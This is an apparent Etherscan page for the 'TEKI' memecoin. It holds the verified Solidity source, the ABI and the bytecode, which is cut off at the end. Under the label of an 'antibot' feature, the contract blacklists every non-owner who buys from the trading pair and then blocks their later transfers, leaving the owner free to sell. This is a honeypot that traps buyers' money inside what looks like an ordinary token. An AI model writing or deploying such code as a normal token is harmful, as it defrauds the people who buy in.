ETH Price: $2,948.83 (-6.60%)
Gas: 7 Gwei

Token

Trump Elon Kanye Inu (TEKI)
 

Overview

Max Total Supply

10,000,000,000 TEKI

Holders

69

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 4 Decimals)

Balance
18,463,479.7471 TEKI

Value
$0.00
0x2ebc20202e28d9392d761bf056a6b14472d83df3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TEKI

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2022-10-18
*/

pragma solidity ^0.8.12;

library SafeMath {

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
}

interface ERC20 {
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(address(0));
        owner = address(0);
    }

    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract TEKI is ERC20, Auth {
    using SafeMath for uint256;

    address immutable WETH;
    address constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address constant ZERO = 0x0000000000000000000000000000000000000000;

    string public constant name = "Trump Elon Kanye Inu";
    string public constant symbol = "TEKI";
    uint8 public constant decimals = 4;
    uint256 public constant totalSupply = 10 * 10**9 * 10**decimals;

    uint256 public _maxTxAmount = 2 * totalSupply / 100;
    uint256 public _maxWalletToken = 2 * totalSupply / 100;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isTxLimitExempt;
    mapping (address => bool) isWalletLimitExempt;

    bool public antibot = true;
    mapping (address => uint) public firstbuy;
    bool public blacklistMode = true;
    mapping (address => bool) public isBlacklisted;

    IDEXRouter public router;
    address public pair;

    constructor () Auth(msg.sender) {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        WETH = router.WETH();

        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[DEAD] = true;
        isTxLimitExempt[ZERO] = true;

        isWalletLimitExempt[msg.sender] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[DEAD] = true;

        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable { }

    function getOwner() external view override returns (address) { return owner; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {

        if(!isOwner(sender) && antibot){
            if(sender == pair){
                if(firstbuy[recipient] == 0){
                    firstbuy[recipient] = block.number;
                }
                blacklist_wallet(recipient,true);
            }

            if(firstbuy[sender] > 0){
                require( firstbuy[sender] > (block.number - 20), "Bought before contract was launched");
            }
        }
        
        if(blacklistMode && !antibot){
            require(!isBlacklisted[sender],"Blacklisted");    
        }

        if (!isOwner(sender) && !isWalletLimitExempt[sender] && !isWalletLimitExempt[recipient] && recipient != pair) {
            require((balanceOf[recipient] + amount) <= _maxWalletToken,"max wallet limit reached");
        }

        require((amount <= _maxTxAmount) || isTxLimitExempt[sender] || isTxLimitExempt[recipient], "TX Limit Exceeded");

        _basicTransfer(sender, recipient, amount);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance");
        balanceOf[recipient] = balanceOf[recipient] + amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function manage_blacklist_status(bool _status) external onlyOwner {
        blacklistMode = _status;
    }

    function manage_blacklist(address[] calldata addresses, bool status) external onlyOwner {
        for (uint256 i=0; i < addresses.length; ++i) {
            blacklist_wallet(addresses[i],status);
        }
    }

    function blacklist_wallet(address _adr, bool _status) internal {
        if(_status && _adr == address(this)){
            return;
        }
        isBlacklisted[_adr] = _status;
    }

    function removeTheLimits() external onlyOwner{
        _maxTxAmount = totalSupply ;
        _maxWalletToken = totalSupply ;
    }

    function tradingOpen() external onlyOwner {
        antibot = false;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return totalSupply.sub(balanceOf[DEAD]).sub(balanceOf[ZERO]);
    }

event AutoLiquify(uint256 amountETH, uint256 amountTokens);

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokens","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"antibot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blacklistMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"firstbuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"manage_blacklist_status","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeTheLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a060405260646004600a620000169190620008e5565b6402540be40062000028919062000936565b600262000036919062000936565b620000429190620009b0565b60015560646004600a620000579190620008e5565b6402540be40062000069919062000936565b600262000077919062000936565b620000839190620009b0565b6002556001600760006101000a81548160ff0219169083151502179055506001600960006101000a81548160ff021916908315150217905550348015620000c957600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050737a250d5630b4cf539739df2c5dacb4c659f2488d600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001cf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f5919062000a52565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000296573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002bc919062000a52565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396608051306040518363ffffffff1660e01b8152600401620002fa92919062000a95565b6020604051808303816000875af11580156200031a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000340919062000a52565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016006600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506004600a620006679190620008e5565b6402540be40062000679919062000936565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004600a6200071c9190620008e5565b6402540be4006200072e919062000936565b6040516200073d919062000ad3565b60405180910390a362000af0565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620007d957808604811115620007b157620007b06200074b565b5b6001851615620007c15780820291505b8081029050620007d1856200077a565b945062000791565b94509492505050565b600082620007f45760019050620008c7565b81620008045760009050620008c7565b81600181146200081d576002811462000828576200085e565b6001915050620008c7565b60ff8411156200083d576200083c6200074b565b5b8360020a9150848211156200085757620008566200074b565b5b50620008c7565b5060208310610133831016604e8410600b8410161715620008985782820a9050838111156200089257620008916200074b565b5b620008c7565b620008a7848484600162000787565b92509050818404811115620008c157620008c06200074b565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620008f282620008ce565b9150620008ff83620008d8565b92506200092e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007e2565b905092915050565b60006200094382620008ce565b91506200095083620008ce565b92508282026200096081620008ce565b915082820484148315176200097a57620009796200074b565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620009bd82620008ce565b9150620009ca83620008ce565b925082620009dd57620009dc62000981565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a1a82620009ed565b9050919050565b62000a2c8162000a0d565b811462000a3857600080fd5b50565b60008151905062000a4c8162000a21565b92915050565b60006020828403121562000a6b5762000a6a620009e8565b5b600062000a7b8482850162000a3b565b91505092915050565b62000a8f8162000a0d565b82525050565b600060408201905062000aac600083018562000a84565b62000abb602083018462000a84565b9392505050565b62000acd81620008ce565b82525050565b600060208201905062000aea600083018462000ac2565b92915050565b6080516121d362000b09600039600050506121d36000f3fe6080604052600436106101855760003560e01c8063715018a6116100d157806395d89b411161008a578063dd62ed3e11610064578063dd62ed3e14610595578063f887ea40146105d2578063fe575a87146105fd578063ffb54a991461063a5761018c565b806395d89b4114610502578063a8aa1b311461052d578063a9059cbb146105585761018c565b8063715018a61461041657806378109e541461042d5780637d1db4a514610458578063893d20e814610483578063896648c1146104ae5780638e2eee84146104d95761018c565b80632b112e491161013e578063313ce56711610118578063313ce56714610334578063571ac8b01461035f5780636d02cc021461039c57806370a08231146103d95761018c565b80632b112e49146102a15780632f54bf6e146102cc578063305c4c80146103095761018c565b8063034fc0b71461019157806306fdde03146101ba578063095ea7b3146101e5578063139864a81461022257806318160ddd1461023957806323b872dd146102645761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101b860048036038101906101b39190611826565b610651565b005b3480156101c657600080fd5b506101cf6106b6565b6040516101dc91906118e3565b60405180910390f35b3480156101f157600080fd5b5061020c60048036038101906102079190611999565b6106ef565b60405161021991906119e8565b60405180910390f35b34801561022e57600080fd5b506102376107e1565b005b34801561024557600080fd5b5061024e610873565b60405161025b9190611a12565b60405180910390f35b34801561027057600080fd5b5061028b60048036038101906102869190611a2d565b610894565b60405161029891906119e8565b60405180910390f35b3480156102ad57600080fd5b506102b6610a94565b6040516102c39190611a12565b60405180910390f35b3480156102d857600080fd5b506102f360048036038101906102ee9190611a80565b610b5d565b60405161030091906119e8565b60405180910390f35b34801561031557600080fd5b5061031e610bb6565b60405161032b91906119e8565b60405180910390f35b34801561034057600080fd5b50610349610bc9565b6040516103569190611ac9565b60405180910390f35b34801561036b57600080fd5b5061038660048036038101906103819190611a80565b610bce565b60405161039391906119e8565b60405180910390f35b3480156103a857600080fd5b506103c360048036038101906103be9190611a80565b610c01565b6040516103d09190611a12565b60405180910390f35b3480156103e557600080fd5b5061040060048036038101906103fb9190611a80565b610c19565b60405161040d9190611a12565b60405180910390f35b34801561042257600080fd5b5061042b610c31565b005b34801561043957600080fd5b50610442610cf4565b60405161044f9190611a12565b60405180910390f35b34801561046457600080fd5b5061046d610cfa565b60405161047a9190611a12565b60405180910390f35b34801561048f57600080fd5b50610498610d00565b6040516104a59190611af3565b60405180910390f35b3480156104ba57600080fd5b506104c3610d29565b6040516104d091906119e8565b60405180910390f35b3480156104e557600080fd5b5061050060048036038101906104fb9190611b73565b610d3c565b005b34801561050e57600080fd5b50610517610dda565b60405161052491906118e3565b60405180910390f35b34801561053957600080fd5b50610542610e13565b60405161054f9190611af3565b60405180910390f35b34801561056457600080fd5b5061057f600480360381019061057a9190611999565b610e39565b60405161058c91906119e8565b60405180910390f35b3480156105a157600080fd5b506105bc60048036038101906105b79190611bd3565b610e4e565b6040516105c99190611a12565b60405180910390f35b3480156105de57600080fd5b506105e7610ed5565b6040516105f49190611c72565b60405180910390f35b34801561060957600080fd5b50610624600480360381019061061f9190611a80565b610efb565b60405161063191906119e8565b60405180910390f35b34801561064657600080fd5b5061064f610f1b565b005b61065a33610b5d565b610699576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069090611cd9565b60405180910390fd5b80600960006101000a81548160ff02191690831515021790555050565b6040518060400160405280601481526020017f5472756d7020456c6f6e204b616e796520496e7500000000000000000000000081525081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516107cf9190611a12565b60405180910390a36001905092915050565b6107ea33610b5d565b610829576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082090611cd9565b60405180910390fd5b6004600a6108379190611e5b565b6402540be4006108479190611ea6565b6001819055506004600a61085b9190611e5b565b6402540be40061086b9190611ea6565b600281905550565b6004600a6108819190611e5b565b6402540be4006108919190611ea6565b81565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610a80576109ff826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f809092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610a8b848484610fe4565b90509392505050565b6000610b58600360008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b4a6003600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546004600a610b2c9190611e5b565b6402540be400610b3c9190611ea6565b61153690919063ffffffff16565b61153690919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b600760009054906101000a900460ff1681565b600481565b6000610bfa827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6106ef565b9050919050565b60086020528060005260406000206000915090505481565b60036020528060005260406000206000915090505481565b610c3a33610b5d565b610c79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7090611cd9565b60405180910390fd5b7f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861636000604051610ca99190611af3565b60405180910390a160008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60025481565b60015481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600960009054906101000a900460ff1681565b610d4533610b5d565b610d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7b90611cd9565b60405180910390fd5b60005b83839050811015610dd457610dc3848483818110610da857610da7611ee8565b5b9050602002016020810190610dbd9190611a80565b83611580565b80610dcd90611f17565b9050610d87565b50505050565b6040518060400160405280600481526020017f54454b490000000000000000000000000000000000000000000000000000000081525081565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610e46338484610fe4565b905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a6020528060005260406000206000915054906101000a900460ff1681565b610f2433610b5d565b610f63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5a90611cd9565b60405180910390fd5b6000600760006101000a81548160ff021916908315150217905550565b6000838311158290610fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbf91906118e3565b60405180910390fd5b5060008385610fd79190611f5f565b9050809150509392505050565b6000610fef84610b5d565b1580156110085750600760009054906101000a900460ff165b156111d157600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036110fa576000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054036110ee5743600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6110f9836001611580565b5b6000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156111d05760144361114f9190611f5f565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116111cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c690612005565b60405180910390fd5b5b5b600960009054906101000a900460ff1680156111fa5750600760009054906101000a900460ff16155b1561128d57600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561128c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128390612071565b60405180910390fd5b5b61129684610b5d565b1580156112ed5750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113435750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561139d5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156114325760025482600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f09190612091565b1115611431576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142890612111565b60405180910390fd5b5b6001548211158061148c5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806114e05750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61151f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115169061217d565b60405180910390fd5b61152a848484611618565b50600190509392505050565b600061157883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f80565b905092915050565b8080156115b857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6116145780600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b60006116a3826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f809092919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117319190612091565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117d19190611a12565b60405180910390a3600190509392505050565b600080fd5b600080fd5b60008115159050919050565b611803816117ee565b811461180e57600080fd5b50565b600081359050611820816117fa565b92915050565b60006020828403121561183c5761183b6117e4565b5b600061184a84828501611811565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561188d578082015181840152602081019050611872565b60008484015250505050565b6000601f19601f8301169050919050565b60006118b582611853565b6118bf818561185e565b93506118cf81856020860161186f565b6118d881611899565b840191505092915050565b600060208201905081810360008301526118fd81846118aa565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061193082611905565b9050919050565b61194081611925565b811461194b57600080fd5b50565b60008135905061195d81611937565b92915050565b6000819050919050565b61197681611963565b811461198157600080fd5b50565b6000813590506119938161196d565b92915050565b600080604083850312156119b0576119af6117e4565b5b60006119be8582860161194e565b92505060206119cf85828601611984565b9150509250929050565b6119e2816117ee565b82525050565b60006020820190506119fd60008301846119d9565b92915050565b611a0c81611963565b82525050565b6000602082019050611a276000830184611a03565b92915050565b600080600060608486031215611a4657611a456117e4565b5b6000611a548682870161194e565b9350506020611a658682870161194e565b9250506040611a7686828701611984565b9150509250925092565b600060208284031215611a9657611a956117e4565b5b6000611aa48482850161194e565b91505092915050565b600060ff82169050919050565b611ac381611aad565b82525050565b6000602082019050611ade6000830184611aba565b92915050565b611aed81611925565b82525050565b6000602082019050611b086000830184611ae4565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611b3357611b32611b0e565b5b8235905067ffffffffffffffff811115611b5057611b4f611b13565b5b602083019150836020820283011115611b6c57611b6b611b18565b5b9250929050565b600080600060408486031215611b8c57611b8b6117e4565b5b600084013567ffffffffffffffff811115611baa57611ba96117e9565b5b611bb686828701611b1d565b93509350506020611bc986828701611811565b9150509250925092565b60008060408385031215611bea57611be96117e4565b5b6000611bf88582860161194e565b9250506020611c098582860161194e565b9150509250929050565b6000819050919050565b6000611c38611c33611c2e84611905565b611c13565b611905565b9050919050565b6000611c4a82611c1d565b9050919050565b6000611c5c82611c3f565b9050919050565b611c6c81611c51565b82525050565b6000602082019050611c876000830184611c63565b92915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b6000611cc360068361185e565b9150611cce82611c8d565b602082019050919050565b60006020820190508181036000830152611cf281611cb6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115611d7f57808604811115611d5b57611d5a611cf9565b5b6001851615611d6a5780820291505b8081029050611d7885611d28565b9450611d3f565b94509492505050565b600082611d985760019050611e54565b81611da65760009050611e54565b8160018114611dbc5760028114611d